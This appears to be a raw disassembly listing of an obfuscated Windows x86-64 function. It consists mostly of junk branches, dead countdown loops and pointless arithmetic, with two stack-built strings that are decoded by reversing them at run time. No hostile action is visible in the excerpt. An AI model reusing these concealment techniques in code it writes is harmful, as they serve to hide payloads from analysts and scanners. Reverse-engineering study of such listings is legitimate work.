jmp 0x1400b85c9
mov byte [rsp + 0x3f8], 0
mov byte [rsp + 0x3f9], 0
mov byte [rsp + 0x3fa], 0
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0x50], 1
movzx eax, byte [rsp + 0xb8]
test eax, eax
je 0x1400b8259
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x1400b8259
mov dword [rsp + 0x174], 0xc1b0
mov dword [rsp + 0x684], 0
jmp 0x1400b81da
mov eax, dword [rsp + 0x684]
inc eax
mov dword [rsp + 0x684], eax
cmp dword [rsp + 0x684], 0x2e
jge 0x1400b8204
cmp dword [rsp + 0x174], 0
jge 0x1400b81f2
jmp 0x1400b8204
mov eax, dword [rsp + 0x174]
dec eax
mov dword [rsp + 0x174], eax
jmp 0x1400b81ca
mov dword [rsp + 0x174], 0x5e7a
mov dword [rsp + 0x688], 0
cmp dword [rsp + 0x688], 1
jge 0x1400b8259
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x1400b8236
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x1400b823f
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x1400b8247
mov byte [rsp + 0xb8], 0
mov eax, dword [rsp + 0x688]
inc eax
mov dword [rsp + 0x688], eax
jmp 0x1400b821a
mov byte [rsp + 0x3fb], 0
mov byte [rsp + 0x83], 0
mov byte [rsp + 0xdd], 1
mov byte [rsp + 0xde], 0
mov byte [rsp + 0x82], 1
movzx eax, byte [rsp + 0x83]
test eax, eax
jne 0x1400b82bd
movzx eax, byte [rsp + 0xdd]
test eax, eax
je 0x1400b836d
movzx eax, byte [rsp + 0xde]
test eax, eax
je 0x1400b836d
movzx eax, byte [rsp + 0x82]
test eax, eax
je 0x1400b836d
mov dword [rsp + 0x178], 0x834a
mov dword [rsp + 0x68c], 0
jmp 0x1400b82e5
mov eax, dword [rsp + 0x68c]
inc eax
mov dword [rsp + 0x68c], eax
cmp dword [rsp + 0x68c], 2
jge 0x1400b830f
cmp dword [rsp + 0x178], 0
jge 0x1400b82fd
jmp 0x1400b830f
mov eax, dword [rsp + 0x178]
dec eax
mov dword [rsp + 0x178], eax
jmp 0x1400b82d5
mov dword [rsp + 0x178], 0xeb77f
mov dword [rsp + 0x690], 0
cmp dword [rsp + 0x690], 0x1a
jge 0x1400b836d
movzx eax, byte [rsp + 0x82]
test eax, eax
je 0x1400b8347
movzx eax, byte [rsp + 0x82]
test eax, eax
jne 0x1400b8353
movzx eax, byte [rsp + 0x83]
test eax, eax
jne 0x1400b835b
mov byte [rsp + 0x83], 1
mov eax, dword [rsp + 0x690]
inc eax
mov dword [rsp + 0x690], eax
jmp 0x1400b8325
mov byte [rsp + 0x3fc], 1
mov byte [rsp + 0x84], 0
mov byte [rsp + 0x85], 1
movzx eax, byte [rsp + 0x84]
test eax, eax
jne 0x1400b83a1
movzx eax, byte [rsp + 0x85]
test eax, eax
je 0x1400b8456
mov dword [rsp + 0x17c], 0x4f46
mov dword [rsp + 0x694], 0
jmp 0x1400b83c9
mov eax, dword [rsp + 0x694]
inc eax
mov dword [rsp + 0x694], eax
cmp dword [rsp + 0x694], 0x2b
jge 0x1400b83f3
cmp dword [rsp + 0x17c], 0
jge 0x1400b83e1
jmp 0x1400b83f3
mov eax, dword [rsp + 0x17c]
dec eax
mov dword [rsp + 0x17c], eax
jmp 0x1400b83b9
mov dword [rsp + 0x17c], 0x7d398
mov dword [rsp + 0x698], 0
cmp dword [rsp + 0x698], 0x58
jge 0x1400b8451
movzx eax, byte [rsp + 0x84]
test eax, eax
je 0x1400b842b
movzx eax, byte [rsp + 0x85]
test eax, eax
jne 0x1400b8437
movzx eax, byte [rsp + 0x84]
test eax, eax
jne 0x1400b843f
mov byte [rsp + 0x85], 1
mov eax, dword [rsp + 0x698]
inc eax
mov dword [rsp + 0x698], eax
jmp 0x1400b8409
jmp 0x1400b85c9
mov dword [rsp + 0x840], 0x21c8
mov dword [rsp + 0x7a8], 0x12fd
mov eax, 0x2bf
cdq
idiv dword [rsp + 0x7a8]
sub eax, 0x198a
sub eax, dword [rsp + 0x7a8]
sub eax, 0x683
sub eax, dword [rsp + 0x840]
sub eax, 0x2215
mov dword [rsp + 0x94c], eax
mov dword [rsp + 0x844], 0x2026
mov dword [rsp + 0x69c], 0x1945
mov eax, 0x24bf
cdq
idiv dword [rsp + 0x69c]
mov ecx, dword [rsp + 0x69c]
lea eax, [rax + rcx - 0x248e]
sub eax, dword [rsp + 0x844]
mov dword [rsp + 0x848], eax
mov eax, 0x4ef
cdq
idiv dword [rsp + 0x69c]
cdq
mov ecx, 0x26ed
idiv ecx
mov ecx, dword [rsp + 0x848]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x950], eax
mov eax, 0xc40
mov word [rsp + 0xf8], ax
mov dword [rsp + 0x84c], 0x1554
movsx eax, word [rsp + 0xf8]
mov dword [rsp + 0x850], eax
movsx ecx, word [rsp + 0xf8]
mov eax, 0x53
cdq
idiv ecx
mov ecx, dword [rsp + 0x84c]
mov edx, dword [rsp + 0x850]
add ecx, edx
lea eax, [rax + rcx + 0x1e89]
mov word [rsp + 0x7d4], ax
mov qword [rsp + 0x8a8], 0x29b
mov qword [rsp + 0xbe8], 0x111
mov eax, 0xfc0
cqo
idiv qword [rsp + 0x8a8]
cqo
mov ecx, 0x16b0
idiv rcx
mov rcx, qword [rsp + 0x8a8]
lea rax, [rax + rcx - 0x17e2]
mov qword [rsp + 0xa78], rax
mov rax, qword [rsp + 0x8a8]
cqo
mov ecx, 0x24f4
idiv rcx
mov rcx, qword [rsp + 0xa78]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x954], eax
mov byte [rsp + 0x3fd], 1
mov byte [rsp + 0x86], 1
mov byte [rsp + 0xb9], 1
mov byte [rsp + 0xba], 1
movzx eax, byte [rsp + 0x86]
test eax, eax
je 0x1400b86c9
movzx eax, byte [rsp + 0xb9]
test eax, eax
je 0x1400b86c9
movzx eax, byte [rsp + 0xba]
test eax, eax
je 0x1400b86c9
mov dword [rsp + 0x180], 0xb6e6
mov dword [rsp + 0x6a0], 0
jmp 0x1400b8641
mov eax, dword [rsp + 0x6a0]
inc eax
mov dword [rsp + 0x6a0], eax
cmp dword [rsp + 0x6a0], 0x2c
jge 0x1400b866b
cmp dword [rsp + 0x180], 0
jge 0x1400b8659
jmp 0x1400b866b
mov eax, dword [rsp + 0x180]
dec eax
mov dword [rsp + 0x180], eax
jmp 0x1400b8631
mov dword [rsp + 0x180], 0xe0979
mov dword [rsp + 0x6a4], 0
cmp dword [rsp + 0x6a4], 0x46
jge 0x1400b86c9
movzx eax, byte [rsp + 0x86]
test eax, eax
je 0x1400b86a3
movzx eax, byte [rsp + 0xb9]
test eax, eax
jne 0x1400b86af
movzx eax, byte [rsp + 0xba]
test eax, eax
jne 0x1400b86b7
mov byte [rsp + 0x86], 0
mov eax, dword [rsp + 0x6a4]
inc eax
mov dword [rsp + 0x6a4], eax
jmp 0x1400b8681
mov byte [rsp + 0x3fe], 1
mov byte [rsp + 0x87], 1
mov byte [rsp + 0x88], 0
movzx eax, byte [rsp + 0x87]
test eax, eax
jne 0x1400b86fd
movzx eax, byte [rsp + 0x88]
test eax, eax
je 0x1400b87b2
mov dword [rsp + 0x184], 0x13c3c
mov dword [rsp + 0x6a8], 0
jmp 0x1400b8725
mov eax, dword [rsp + 0x6a8]
inc eax
mov dword [rsp + 0x6a8], eax
cmp dword [rsp + 0x6a8], 0x23
jge 0x1400b874f
cmp dword [rsp + 0x184], 0
jge 0x1400b873d
jmp 0x1400b874f
mov eax, dword [rsp + 0x184]
dec eax
mov dword [rsp + 0x184], eax
jmp 0x1400b8715
mov dword [rsp + 0x184], 0x99a8d
mov dword [rsp + 0x6ac], 0
cmp dword [rsp + 0x6ac], 0x36
jge 0x1400b87ad
movzx eax, byte [rsp + 0x87]
test eax, eax
je 0x1400b8787
movzx eax, byte [rsp + 0x87]
test eax, eax
jne 0x1400b8793
movzx eax, byte [rsp + 0x88]
test eax, eax
jne 0x1400b879b
mov byte [rsp + 0x88], 0
mov eax, dword [rsp + 0x6ac]
inc eax
mov dword [rsp + 0x6ac], eax
jmp 0x1400b8765
jmp 0x1400b8993
mov byte [rsp + 0x1c790], 0x36
mov byte [rsp + 0x1c791], 0x7a
mov byte [rsp + 0x1c792], 0x79
mov byte [rsp + 0x1c793], 0x56
mov byte [rsp + 0x1c794], 0x66
mov byte [rsp + 0x1c795], 0x44
mov byte [rsp + 0x1c796], 0x43
mov byte [rsp + 0x1c797], 0x78
mov byte [rsp + 0x1c798], 0x76
mov byte [rsp + 0x1c799], 0x30
mov byte [rsp + 0x1c79a], 0x6b
mov byte [rsp + 0x1c79b], 0x55
mov byte [rsp + 0x1c79c], 0x76
mov byte [rsp + 0x1c79d], 0x6f
lea rcx, [rsp + 0x1c790]
call fcn.1401104b0
mov qword [rsp + 0xa80], rax
mov rcx, qword [rsp + 0xa80]
call fcn.14010830c
mov qword [rsp + 0xa88], rax
mov rax, qword [rsp + 0xa88]
mov qword [rsp + 0xa90], rax
mov dword [rsp + 0x104], 0
jmp 0x1400b8879
mov eax, dword [rsp + 0x104]
inc eax
mov dword [rsp + 0x104], eax
movsxd rax, dword [rsp + 0x104]
cmp rax, 0xe
jae 0x1400b88b7
movsxd rax, dword [rsp + 0x104]
mov ecx, SafeArrayDestroy
sub rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x104]
mov rdx, qword [rsp + 0xa90]
movzx eax, byte [rsp + rax + 0x1c790]
mov byte [rdx + rcx], al
jmp 0x1400b8869
mov dword [rsp + 0x854], 0xe
lea rcx, [rsp + 0x3ff]
call fcn.1400bc340
movsxd rcx, dword [rsp + 0x854]
lea rcx, [rsp + rcx + 0x1c790]
mov r9, rax
mov r8, rcx
lea rdx, [rsp + 0x1c790]
lea rcx, [rsp + 0xb88]
call fcn.1400bbb60
nop
lea rdx, [rsp + 0xaa0]
lea rcx, [rsp + 0xb88]
call fcn.140106f90
lea rdx, [rsp + 0xa98]
lea rcx, [rsp + 0xb88]
call fcn.140106fc0
nop
xor r8d, r8d
lea rdx, [rsp + 0xbf0]
lea rcx, [rsp + 0xa98]
call fcn.1400bdcd0
mov qword [rsp + 0xaa8], rax
mov r8d, 3
lea rdx, [rsp + 0xbf8]
lea rcx, [rsp + 0xaa0]
call fcn.1400bdd20
mov rcx, qword [rsp + 0xaa8]
mov r9, qword [rcx]
mov r8, qword [rax]
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0xb88]
call fcn.140107a90
nop
lea rcx, [rsp + 0xb88]
call fcn.1400bdb50
nop
mov byte [rsp + 0x400], 1
mov byte [rsp + 0x8a], 1
mov byte [rsp + 0xdf], 0
mov byte [rsp + 0x89], 0
movzx eax, byte [rsp + 0x8a]
test eax, eax
jne 0x1400b89db
movzx eax, byte [rsp + 0xdf]
test eax, eax
jne 0x1400b89db
movzx eax, byte [rsp + 0x89]
test eax, eax
je 0x1400b8a90
mov dword [rsp + 0x188], 0x2bb0
mov dword [rsp + 0x6b0], 0
jmp 0x1400b8a03
mov eax, dword [rsp + 0x6b0]
inc eax
mov dword [rsp + 0x6b0], eax
cmp dword [rsp + 0x6b0], 0x1e
jge 0x1400b8a2d
cmp dword [rsp + 0x188], 0
jge 0x1400b8a1b
jmp 0x1400b8a2d
mov eax, dword [rsp + 0x188]
dec eax
mov dword [rsp + 0x188], eax
jmp 0x1400b89f3
mov dword [rsp + 0x188], 0xce6fc
mov dword [rsp + 0x6b4], 0
cmp dword [rsp + 0x6b4], 0x41
jge 0x1400b8a8b
movzx eax, byte [rsp + 0x8a]
test eax, eax
je 0x1400b8a65
movzx eax, byte [rsp + 0x89]
test eax, eax
jne 0x1400b8a71
movzx eax, byte [rsp + 0x89]
test eax, eax
jne 0x1400b8a79
mov byte [rsp + 0x8a], 1
mov eax, dword [rsp + 0x6b4]
inc eax
mov dword [rsp + 0x6b4], eax
jmp 0x1400b8a43
jmp 0x1400b8b7d
mov byte [rsp + 0x1c7b0], 0x42
mov byte [rsp + 0x1c7b1], 0x6c
mov byte [rsp + 0x1c7b2], 0x66
mov byte [rsp + 0x1c7b3], 0x36
mov byte [rsp + 0x1c7b4], 0x6d
mov byte [rsp + 0x1c7b5], 0x4c
mov byte [rsp + 0x1c7b6], 0x74
mov byte [rsp + 0x1c7b7], 0x63
mov byte [rsp + 0x1c7b8], 0x54
mov byte [rsp + 0x1c7b9], 0x50
mov byte [rsp + 0x1c7ba], 0x34
lea rcx, [rsp + 0x1c7b0]
call fcn.1401104b0
mov qword [rsp + 0xab0], rax
mov rcx, qword [rsp + 0xab0]
call fcn.14010830c
mov qword [rsp + 0xab8], rax
mov rax, qword [rsp + 0xab8]
mov qword [rsp + 0xac0], rax
mov dword [rsp + 0x108], 0
jmp 0x1400b8b3f
mov eax, dword [rsp + 0x108]
inc eax
mov dword [rsp + 0x108], eax
movsxd rax, dword [rsp + 0x108]
cmp rax, 0xb
jae 0x1400b8b7d
movsxd rax, dword [rsp + 0x108]
mov ecx, SafeArrayDestroy
sub rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x108]
mov rdx, qword [rsp + 0xac0]
movzx eax, byte [rsp + rax + 0x1c7b0]
mov byte [rdx + rcx], al
jmp 0x1400b8b2f
mov byte [rsp + 0x401], 1
mov byte [rsp + 0x402], 0
mov byte [rsp + 0x36], 1
movzx eax, byte [rsp + 0x36]
test eax, eax
je 0x1400b8c48
mov dword [rsp + 0x18c], 0xf7f2
mov dword [rsp + 0x6b8], 0
jmp 0x1400b8bc7
mov eax, dword [rsp + 0x6b8]
inc eax
mov dword [rsp + 0x6b8], eax
cmp dword [rsp + 0x6b8], 0x1d
jge 0x1400b8bf1
cmp dword [rsp + 0x18c], 0
jge 0x1400b8bdf
jmp 0x1400b8bf1
mov eax, dword [rsp + 0x18c]
dec eax
mov dword [rsp + 0x18c], eax
jmp 0x1400b8bb7
mov dword [rsp + 0x18c], 0xa0765
mov dword [rsp + 0x6bc], 0
cmp dword [rsp + 0x6bc], 0x35
jge 0x1400b8c43
movzx eax, byte [rsp + 0x36]
test eax, eax
je 0x1400b8c23
movzx eax, byte [rsp + 0x36]
test eax, eax
jne 0x1400b8c2c
movzx eax, byte [rsp + 0x36]
test eax, eax
jne 0x1400b8c31
mov byte [rsp + 0x36], 0
mov eax, dword [rsp + 0x6bc]
inc eax
mov dword [rsp + 0x6bc], eax
jmp 0x1400b8c07
jmp 0x1400b8e88
mov qword [rsp + 0x8d0], 0x2592
mov dword [rsp + 0x7ac], 0x232e
mov eax, 0x22a5
cdq
idiv dword [rsp + 0x7ac]
cdqe
mov qword [rsp + 0xac8], rax
mov eax, 0x769
cqo
idiv qword [rsp + 0x8d0]
cqo
mov ecx, 0x641
idiv rcx
mov rcx, qword [rsp + 0xac8]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x7ac]
lea rax, [rax + rcx - 0x57f]
sub rax, qword [rsp + 0x8d0]
add rax, 0x15f2
mov dword [rsp + 0x958], eax
mov qword [rsp + 0x8d8], 0xd61
mov eax, 0x2638
mov word [rsp + 0xfc], ax
movsx eax, word [rsp + 0xfc]
add eax, 0x3dd
cdqe
mov qword [rsp + 0xad0], rax
mov eax, 0xd1f
cqo
idiv qword [rsp + 0x8d8]
mov rcx, qword [rsp + 0xad0]
sub rcx, rax
mov rax, rcx
movsx rcx, word [rsp + 0xfc]
mov rdx, qword [rsp + 0x8d8]
add rdx, rax
mov rax, rdx
lea rax, [rcx + rax + 0x4cd6]
mov qword [rsp + 0xc08], rax
mov dword [rsp + 0x6c0], 0xe90
mov eax, 0x140a
mov word [rsp + 0x42c], ax
mov eax, dword [rsp + 0x6c0]
sub eax, 0xaa
movsx ecx, word [rsp + 0x42c]
sub eax, ecx
mov dword [rsp + 0x858], eax
mov eax, dword [rsp + 0x6c0]
cdq
mov ecx, 0x20af
idiv ecx
mov ecx, dword [rsp + 0x858]
lea eax, [rcx + rax - 0x13d8]
sub eax, dword [rsp + 0x6c0]
add eax, 0x26c
mov dword [rsp + 0x95c], eax
mov qword [rsp + 0x8e0], 0x1d2e
mov dword [rsp + 0x7b0], 0x14d1
mov eax, dword [rsp + 0x7b0]
mov ecx, dword [rsp + 0x7b0]
lea eax, [rax + rcx + 0x3105]
cdqe
sub rax, qword [rsp + 0x8e0]
mov qword [rsp + 0xad8], rax
mov eax, 0xf4d
cqo
idiv qword [rsp + 0x8e0]
cqo
mov ecx, 0x2387
idiv rcx
mov rcx, qword [rsp + 0xad8]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x960], eax
mov eax, 0x187
mov word [rsp + 0x430], ax
mov dword [rsp + 0x6c4], 0x5b1
mov eax, dword [rsp + 0x6c4]
cdq
mov ecx, 0x1914
idiv ecx
cdq
idiv dword [rsp + 0x6c4]
mov dword [rsp + 0x85c], eax
movsx ecx, word [rsp + 0x430]
mov eax, ecx
cdq
mov ecx, 0x503
idiv ecx
mov ecx, dword [rsp + 0x85c]
lea eax, [rcx + rax - 0x1cb]
mov dword [rsp + 0x860], eax
mov eax, dword [rsp + 0x6c4]
cdq
mov ecx, 0x163
idiv ecx
mov ecx, dword [rsp + 0x860]
sub ecx, eax
mov eax, ecx
cdqe
mov qword [rsp + 0xc10], rax
mov byte [rsp + 0x403], 1
mov byte [rsp + 0x404], 0
mov byte [rsp + 0x405], 0
cmp dword [rsp + 0x864], 0
je 0x1400bb587
lea rcx, [rsp + 0xca0]
call section..text
mov qword [rsp + 0x8b0], 0x1d49
mov dword [rsp + 0x868], 0x4a5
mov rax, qword [rsp + 0x8b0]
cqo
mov ecx, 0x95b
idiv rcx
cqo
idiv qword [rsp + 0x8b0]
mov ecx, 0xbb1
sub rcx, rax
mov rax, rcx
sub rax, 0x21ef
sub rax, qword [rsp + 0x8b0]
movsxd rcx, dword [rsp + 0x868]
lea rax, [rax + rcx - 0x29d8]
mov word [rsp + 0x7d0], ax
mov dword [rsp + 0x86c], 0xa6d
mov dword [rsp + 0x7b4], 0x1b45
mov eax, 0xb9b
cdq
idiv dword [rsp + 0x86c]
mov ecx, dword [rsp + 0x7b4]
lea eax, [rax + rcx - 0xb00]
mov ecx, dword [rsp + 0x7b4]
lea eax, [rax + rcx - 0x1617]
mov dword [rsp + 0x964], eax
mov dword [rsp + 0x768], 0x184e
mov dword [rsp + 0x790], 0x2f8
mov eax, 0x15fd
cdq
idiv dword [rsp + 0x790]
mov dword [rsp + 0x870], eax
mov eax, 0x248b
cdq
idiv dword [rsp + 0x768]
cdq
mov ecx, 0x13a8
idiv ecx
cdq
idiv dword [rsp + 0x768]
mov ecx, dword [rsp + 0x870]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x874], eax
mov eax, 0x24b1
cdq
idiv dword [rsp + 0x790]
cdq
mov ecx, 0x19c6
idiv ecx
mov ecx, dword [rsp + 0x874]
sub ecx, eax
mov eax, ecx
cdqe
mov qword [rsp + 0xc18], rax
mov dword [rsp + 0x6c8], 0x158c
mov dword [rsp + 0x968], 0x263
mov eax, 0x501
sub eax, dword [rsp + 0x6c8]
mov ecx, dword [rsp + 0x6c8]
lea eax, [rax + rcx - 0x84b]
sub eax, dword [rsp + 0x6c8]
add eax, 0x29f
mov dword [rsp + 0x96c], eax
mov rax, qword [rsp + 0x908]
test rax, rax
jl 0x1400b903f
cvtsi2sd xmm0, rax
jmp 0x1400b9058
mov rcx, rax
shr rcx, 1
and rax, 1
or rcx, rax
cvtsi2sd xmm1, rcx
addsd xmm1, xmm1
movaps xmm0, xmm1
divsd xmm0, qword [0x140122338]
divsd xmm0, qword [0x140122338]
movsd qword [rsp + 0xae0], xmm0
mov byte [rsp + 0x406], 0
mov byte [rsp + 0xbb], 1
mov byte [rsp + 0x51], 0
movzx eax, byte [rsp + 0xbb]
test eax, eax
jne 0x1400b909f
movzx eax, byte [rsp + 0x51]
test eax, eax
je 0x1400b9146
mov dword [rsp + 0x190], 0xc4a6
mov dword [rsp + 0x6cc], 0
jmp 0x1400b90c7
mov eax, dword [rsp + 0x6cc]
inc eax
mov dword [rsp + 0x6cc], eax
cmp dword [rsp + 0x6cc], 0x2b
jge 0x1400b90f1
cmp dword [rsp + 0x190], 0
jge 0x1400b90df
jmp 0x1400b90f1
mov eax, dword [rsp + 0x190]
dec eax
mov dword [rsp + 0x190], eax
jmp 0x1400b90b7
mov dword [rsp + 0x190], 0x30b7
mov dword [rsp + 0x6d0], 0
cmp dword [rsp + 0x6d0], 0x29
jge 0x1400b9146
movzx eax, byte [rsp + 0x51]
test eax, eax
je 0x1400b9123
movzx eax, byte [rsp + 0x51]
test eax, eax
jne 0x1400b912f
movzx eax, byte [rsp + 0xbb]
test eax, eax
jne 0x1400b9134
mov byte [rsp + 0x51], 1
mov eax, dword [rsp + 0x6d0]
inc eax
mov dword [rsp + 0x6d0], eax
jmp 0x1400b9107
mov byte [rsp + 0x407], 1
mov byte [rsp + 0x52], 0
mov byte [rsp + 0xbc], 0
movzx eax, byte [rsp + 0x52]
test eax, eax
je 0x1400b9224
movzx eax, byte [rsp + 0xbc]
test eax, eax
je 0x1400b9224
mov dword [rsp + 0x1a0], 0x13c48
mov dword [rsp + 0x6d4], 0
jmp 0x1400b91a0
mov eax, dword [rsp + 0x6d4]
inc eax
mov dword [rsp + 0x6d4], eax
cmp dword [rsp + 0x6d4], 0x16
jge 0x1400b91ca
cmp dword [rsp + 0x1a0], 0
jge 0x1400b91b8
jmp 0x1400b91ca
mov eax, dword [rsp + 0x1a0]
dec eax
mov dword [rsp + 0x1a0], eax
jmp 0x1400b9190
mov dword [rsp + 0x1a0], 0x2b575
mov dword [rsp + 0x6d8], 0
cmp dword [rsp + 0x6d8], 0x40
jge 0x1400b921f
movzx eax, byte [rsp + 0xbc]
test eax, eax
je 0x1400b91ff
movzx eax, byte [rsp + 0x52]
test eax, eax
jne 0x1400b9208
movzx eax, byte [rsp + 0x52]
test eax, eax
jne 0x1400b920d
mov byte [rsp + 0x52], 0
mov eax, dword [rsp + 0x6d8]
inc eax
mov dword [rsp + 0x6d8], eax
jmp 0x1400b91e0
jmp 0x1400b9464
lea rax, [rsp + 0x14a30]
mov rdi, rax
xor eax, eax
mov ecx, 0x960
rep stosb byte [rdi], al
mov dword [rsp + 0x1a4], 0
jmp 0x1400b9255
mov eax, dword [rsp + 0x1a4]
inc eax
mov dword [rsp + 0x1a4], eax
movsxd rax, dword [rsp + 0x1a4]
cmp rax, 8
jae 0x1400b92b4
mov dword [rsp + 0x1b0], 0
jmp 0x1400b9280
mov eax, dword [rsp + 0x1b0]
inc eax
mov dword [rsp + 0x1b0], eax
cmp dword [rsp + 0x1b0], 0x4b
jge 0x1400b92b2
movsxd rax, dword [rsp + 0x1a4]
imul rax, rax, 0x12c
lea rax, [rsp + rax + 0x14a30]
movsxd rcx, dword [rsp + 0x1b0]
mov dword [rax + rcx*4], 0xa87
jmp 0x1400b9270
jmp 0x1400b9245
lea rax, [rsp + 0x15390]
mov rdi, rax
xor eax, eax
mov ecx, 0x960
rep stosb byte [rdi], al
mov dword [rsp + 0x1c0], 0
jmp 0x1400b92e5
mov eax, dword [rsp + 0x1c0]
inc eax
mov dword [rsp + 0x1c0], eax
movsxd rax, dword [rsp + 0x1c0]
cmp rax, 8
jae 0x1400b9344
mov dword [rsp + 0x1bc], 0
jmp 0x1400b9310
mov eax, dword [rsp + 0x1bc]
inc eax
mov dword [rsp + 0x1bc], eax
cmp dword [rsp + 0x1bc], 0x4b
jge 0x1400b9342
movsxd rax, dword [rsp + 0x1c0]
imul rax, rax, 0x12c
lea rax, [rsp + rax + 0x15390]
movsxd rcx, dword [rsp + 0x1bc]
mov dword [rax + rcx*4], 0x6f5
jmp 0x1400b9300
jmp 0x1400b92d5
lea rax, [rsp + 0x15cf0]
mov rdi, rax
xor eax, eax
mov ecx, 0x960
rep stosb byte [rdi], al
mov dword [rsp + 0x1b8], 0
jmp 0x1400b9375
mov eax, dword [rsp + 0x1b8]
inc eax
mov dword [rsp + 0x1b8], eax
movsxd rax, dword [rsp + 0x1b8]
cmp rax, 8
jae 0x1400b93d4
mov dword [rsp + 0x1b4], 0
jmp 0x1400b93a0
mov eax, dword [rsp + 0x1b4]
inc eax
mov dword [rsp + 0x1b4], eax
cmp dword [rsp + 0x1b4], 0x4b
jge 0x1400b93d2
movsxd rax, dword [rsp + 0x1b8]
imul rax, rax, 0x12c
lea rax, [rsp + rax + 0x15cf0]
movsxd rcx, dword [rsp + 0x1b4]
mov dword [rax + rcx*4], 0x23da
jmp 0x1400b9390
jmp 0x1400b9365
lea rax, [rsp + 0x16650]
mov rdi, rax
xor eax, eax
mov ecx, 0x960
rep stosb byte [rdi], al
mov dword [rsp + 0x1ac], 0
jmp 0x1400b9405
mov eax, dword [rsp + 0x1ac]
inc eax
mov dword [rsp + 0x1ac], eax
movsxd rax, dword [rsp + 0x1ac]
cmp rax, 8
jae 0x1400b9464
mov dword [rsp + 0x1a8], 0
jmp 0x1400b9430
mov eax, dword [rsp + 0x1a8]
inc eax
mov dword [rsp + 0x1a8], eax
cmp dword [rsp + 0x1a8], 0x4b
jge 0x1400b9462
movsxd rax, dword [rsp + 0x1ac]
imul rax, rax, 0x12c
lea rax, [rsp + rax + 0x16650]
movsxd rcx, dword [rsp + 0x1a8]
mov dword [rax + rcx*4], 0x24b2
jmp 0x1400b9420
jmp 0x1400b93f5
mov byte [rsp + 0x408], 1
mov byte [rsp + 0xbd], 0
mov byte [rsp + 0xbe], 0
mov byte [rsp + 0x8b], 0
movzx eax, byte [rsp + 0xbd]
test eax, eax
jne 0x1400b94b0
movzx eax, byte [rsp + 0xbe]
test eax, eax
je 0x1400b9560
movzx eax, byte [rsp + 0x8b]
test eax, eax
je 0x1400b9560
mov dword [rsp + 0x300], 0x8d9e
mov dword [rsp + 0x6dc], 0
jmp 0x1400b94d8
mov eax, dword [rsp + 0x6dc]
inc eax
mov dword [rsp + 0x6dc], eax
cmp dword [rsp + 0x6dc], 0x10
jge 0x1400b9502
cmp dword [rsp + 0x300], 0
jge 0x1400b94f0
jmp 0x1400b9502
mov eax, dword [rsp + 0x300]
dec eax
mov dword [rsp + 0x300], eax
jmp 0x1400b94c8
mov dword [rsp + 0x300], 0x36c2b
mov dword [rsp + 0x6e0], 0
cmp dword [rsp + 0x6e0], 0x17
jge 0x1400b9560
movzx eax, byte [rsp + 0xbd]
test eax, eax
je 0x1400b953a
movzx eax, byte [rsp + 0x8b]
test eax, eax
jne 0x1400b9546
movzx eax, byte [rsp + 0x8b]
test eax, eax
jne 0x1400b954e
mov byte [rsp + 0xbe], 0
mov eax, dword [rsp + 0x6e0]
inc eax
mov dword [rsp + 0x6e0], eax
jmp 0x1400b9518
mov byte [rsp + 0x409], 0
mov byte [rsp + 0x37], 1
movzx eax, byte [rsp + 0x37]
test eax, eax
je 0x1400b9620
mov dword [rsp + 0x304], 0xaf48
mov dword [rsp + 0x6e4], 0
jmp 0x1400b95a2
mov eax, dword [rsp + 0x6e4]
inc eax
mov dword [rsp + 0x6e4], eax
cmp dword [rsp + 0x6e4], 0x1c
jge 0x1400b95cc
cmp dword [rsp + 0x304], 0
jge 0x1400b95ba
jmp 0x1400b95cc
mov eax, dword [rsp + 0x304]
dec eax
mov dword [rsp + 0x304], eax
jmp 0x1400b9592
mov dword [rsp + 0x304], 0x44e19
mov dword [rsp + 0x6e8], 0
cmp dword [rsp + 0x6e8], 0x28
jge 0x1400b961e
movzx eax, byte [rsp + 0x37]
test eax, eax
je 0x1400b95fe
movzx eax, byte [rsp + 0x37]
test eax, eax
jne 0x1400b9607
movzx eax, byte [rsp + 0x37]
test eax, eax
jne 0x1400b960c
mov byte [rsp + 0x37], 0
mov eax, dword [rsp + 0x6e8]
inc eax
mov dword [rsp + 0x6e8], eax
jmp 0x1400b95e2
jmp 0x1400b968e
mov dword [rsp + 0xe00], 0xd976
mov dword [rsp + 0xe04], 0x16a84
mov dword [rsp + 0xe08], 0xddc7
mov dword [rsp + 0xe0c], 0x1709e
mov dword [rsp + 0xe10], 0x171d9
mov dword [rsp + 0xe14], 0x5e37
mov dword [rsp + 0xe18], 0xd54c
mov dword [rsp + 0xe1c], 0xeb64
mov dword [rsp + 0xe20], 0x7584
mov dword [rsp + 0xe24], 0xb3cd
mov byte [rsp + 0x40a], 1
mov byte [rsp + 0x40b], 1
mov byte [rsp + 0x40c], 0
mov byte [rsp + 0x38], 1
movzx eax, byte [rsp + 0x38]
test eax, eax
je 0x1400b9761
mov dword [rsp + 0x308], 0xf880
mov dword [rsp + 0x6ec], 0
jmp 0x1400b96e0
mov eax, dword [rsp + 0x6ec]
inc eax
mov dword [rsp + 0x6ec], eax
cmp dword [rsp + 0x6ec], 0x13
jge 0x1400b970a
cmp dword [rsp + 0x308], 0
jge 0x1400b96f8
jmp 0x1400b970a
mov eax, dword [rsp + 0x308]
dec eax
mov dword [rsp + 0x308], eax
jmp 0x1400b96d0
mov dword [rsp + 0x308], 0x3f112
mov dword [rsp + 0x6f0], 0
cmp dword [rsp + 0x6f0], 0x3f
jge 0x1400b975c
movzx eax, byte [rsp + 0x38]
test eax, eax
je 0x1400b973c
movzx eax, byte [rsp + 0x38]
test eax, eax
jne 0x1400b9745
movzx eax, byte [rsp + 0x38]
test eax, eax
jne 0x1400b974a
mov byte [rsp + 0x38], 0
mov eax, dword [rsp + 0x6f0]
inc eax
mov dword [rsp + 0x6f0], eax
jmp 0x1400b9720
jmp 0x1400ba4b2
mov byte [rsp + 0x40d], 0
mov byte [rsp + 0x8d], 1
mov byte [rsp + 0x8c], 1
mov byte [rsp + 0xe0], 0
movzx eax, byte [rsp + 0x8d]
test eax, eax
jne 0x1400b97a9
